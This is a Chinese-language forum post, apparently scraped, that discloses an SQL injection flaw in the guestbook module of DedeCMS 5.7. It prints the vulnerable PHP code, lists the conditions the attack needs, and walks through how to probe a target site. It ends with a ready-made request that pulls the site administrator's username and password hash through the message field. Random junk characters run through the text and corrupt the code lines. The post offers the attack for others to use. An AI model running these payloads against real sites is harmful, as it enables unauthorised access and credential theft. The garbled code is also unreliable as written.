影响版本为5.75 ]" b7 Q5 [! p* u
# ~' C, Y/ z' D) y% j9 H+ N! N0 U f漏洞文件edit.inc.php具体代码:+ m( d' y% r2 ^
$ Z" W6 ?: e: K& X) B< ?php
, O8 u6 p5 d d I7 d9 Y5 N, W9 `7 v' ^
if(!defined('DEDEINC')) exit('Request Error!');
- q1 N4 s/ d( ~+ V6 Q6 e8 X& S) C& G9 |/ U. U( C
2 w- W+ x) P8 ]
& ~' F* d. X0 V1 J `if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; , _. |1 @/ K; ] H7 Q
5 K1 s' o5 T' L! e; G0 r% y" ^else $GUEST_BOOK_POS = "guestbook.php"; , z- \7 N& d& X1 [! g; a4 s
3 ~* I# z/ G. b
4 o% }% [0 s6 s% V" f) P F1 x- X( f' \) P% M
$id = intval($id);
$ q9 A' r, b8 |- N* Y% Z" J( k$ l/ R0 q4 X5 m9 [
if(empty($job)) $job='view'; 6 }; j& c4 p/ ?; f
$ j4 W; s( j! W- U
+ G0 O& e, ~; x8 D
$ L) S" @0 ^. c9 Lif($job=='del' && $g_isadmin) / j- i, w* H, I* o
- w* r. f, }4 L( V7 S$ j; u' |# X{ 2 M1 ^# z- j7 Z: y S. [: d7 {% M/ i
! W. _6 i% v6 @' v8 t" z
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ( T! ^9 @2 z* r+ S$ v/ ]
5 H% h2 S# K2 `- O Z: @7 a: SShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); $ |, n% u5 ~/ k6 [# H1 W
4 L4 P; q, b0 |exit(); . K0 J2 _- P T/ b& J
( {9 R( P- S6 b1 M) p
} 8 q7 R1 |% M1 N; M8 A( \ k
: T7 r2 \" |8 y3 helse if($job=='check' && $g_isadmin)
6 d k& J4 ?; t; X4 ]4 ^6 A Y0 G2 n! H; ` r+ n" F' W1 s: Q/ M
{ 8 Z8 y M5 O2 y2 R r
4 L" ?* |/ W$ X0 ]# p$ y4 k6 c$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ; w L9 ~! e* Z4 A+ n
2 A$ V7 S- w8 T8 M) ^ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
- C7 d! S% p) g7 k$ x9 L3 j) e% P7 d/ O- t
exit(); + }/ a8 I; f& R
- X' T7 F( i& j* w# d+ ?, R9 W; V/ K
} 2 ]' n C( K! V/ {) i' V
/ r% q/ v5 v, u2 V E" O/ |0 N
else if($job=='editok')
/ J6 \2 G1 s, D1 s4 S& D$ U+ K
{ + K- @0 c7 H) b, X- I
/ D2 c! O. X0 ^0 v1 W$remsg = trim($remsg);
2 K0 D6 N5 [' Z) ~1 f' _+ d
( h0 O2 V* v0 ], V9 q$ Bif($remsg!='') + \; N7 \/ q! O" c5 q
- ~; w6 x2 w7 N. [
{
5 r8 l) g* s9 C& x3 I4 i4 R$ n" [7 _3 j
//管理员回复不过滤HTML By:Errorera blog:errs.cc ; M' J/ x' n9 S: y8 y' F
4 R9 H$ _0 R% p$ Yif($g_isadmin) 0 b5 ?9 C4 l' e4 R3 B; _
, l8 B" v- {1 l5 R6 [9 T0 O{ 0 M9 Q# l' q# G+ N3 K" _
5 u w( g' ?, F8 x& K- F* t( ?
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 3 f9 x# [& T- @+ s4 v! d/ {6 T
6 a' }: v1 ^ e. x( N- g" W
//$remsg <br /><font color=red>管理员回复:</font> } 9 T" K. T& y7 }' W8 P# Y" e2 u
& r3 h9 Q/ h4 K4 k8 P
else * T# k0 e+ @# \1 j% ~+ r
$ F) B$ U1 u. @. b* U{
# v1 h6 o( K ~/ y3 d7 \
' I) U# X, v6 z- }; Z* ?$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); + z' _# v6 [" X1 ?6 Z6 ^
" |6 l3 F! Y! Z* U# E
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; % Y0 j& [' a+ y, K! K. m
0 `0 z( L4 x V7 b0 U: w: h: s9 z& Y: v$remsg = trimMsg(cn_substrR($remsg, 1024), 1); ) S2 H# ^, m2 ^1 A- q# w# x3 o
" V' `) M! ]' w0 v
$msg = $oldmsg.$remsg;
0 Q# c/ p1 r, C5 \$ {- U, L
6 u; h4 y4 I4 }; g& M# o} * `- B! }8 c1 E: Z6 C
T. f3 U+ u. q" z- V5 L: ^
}
- n6 N) A) w6 P3 }3 Q/ w; e
( A2 j- j- o3 d& d1 Q8 x2 a4 ^4 z7 q//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
( T5 `) D7 _, L1 O, d; S' v* H
& K6 g2 c4 M9 U& P' [& ?; L" n7 n) N$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); E4 w, T) h) }5 ~* w9 {
2 O4 ]0 f, z$ N R& B, ?, X, V5 @ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
1 A- o: w7 a/ f' |! _6 c& h* G$ A* k4 B( D a: t: Z( h# \1 H
exit();
& E* X5 S) \ f4 {
. _( A) P1 v7 k! X8 E- A9 \( | U}
& b! R: Y7 J5 h
; f [$ K" W, Y; R//home:www.errs.cc
8 x$ d' W& w z+ z# f6 P8 f8 k; k- m8 ^$ P
if($g_isadmin)
- u& J: p2 ^) o& d5 w, \2 S3 w. d; H/ n" S
{
# U2 m3 K# P8 b1 e+ e4 T
6 u( U O+ J: A' e$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
! r% f% v/ j! `4 V( C& ~9 V! ~/ `9 v, n; h9 C
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
% F Z. t7 d9 G; H3 r. f3 b* r/ [; y. O
} ; v+ P" u+ }6 a
) b" f- G' y7 u8 O( ~: Kelse
" v( h# `$ S1 e* G3 H4 @
8 f9 v1 h V. d; q, f3 ^{
, d) ^9 x! p8 a
6 ]& e7 G( |6 H3 ^" A! d/ O+ J# T$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); O" d6 z' V( f7 ]2 f8 }
/ }/ ?$ k4 D0 x! [9 C
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- z) c* Y* \6 B0 H$ O9 B. Z T/ _' j$ S- R
} 漏洞成功需要条件:
& ~/ @2 X3 |$ I5 v1. php magic_quotes_gpc=off7 n; l2 J0 @3 ^ S4 X2 |
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! s3 O* H% K7 q$ ^- Y2 Y4 c( H- g" _
* Q' R2 x K$ Q& { {怎么判断是否存在漏洞:
0 ]; S& J& Q& a先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* n+ i4 G$ w( {2 l: ^, ~8 `& @2 I然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID$ }/ M) |* H- _4 p: l
访问:
. C4 l3 V& v! p7 o! j2 D/ t/ p4 `. w
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
* R( ]; k9 C$ ` @, a8 p跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# f% \- [& q `, z7 P6 r# p7 q! v! _- G5 u
5 P0 s# K! a$ ]/ R- G4 i明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
2 t, _; q ~# Y如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
4 H/ O/ n% {' D! s- E那么再次访问- N2 K8 V3 z4 i2 B
' ^8 j( k' H/ h% x' r1 \
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().6 `. ?0 L1 E9 K3 Q4 V6 F; ^$ ]
+ |4 T% D* @7 q& n0 Q. l/ _$ n大概利用就是这样,大家有兴趣的多研究下!!, i4 S: W2 }: K$ b" s
$ I/ s7 g+ h, L6 Z0 Q7 [
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!5 v+ K4 q9 ~/ h# u* Y
+ @7 n c, D' L/ x5 ~* r! m/ Iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |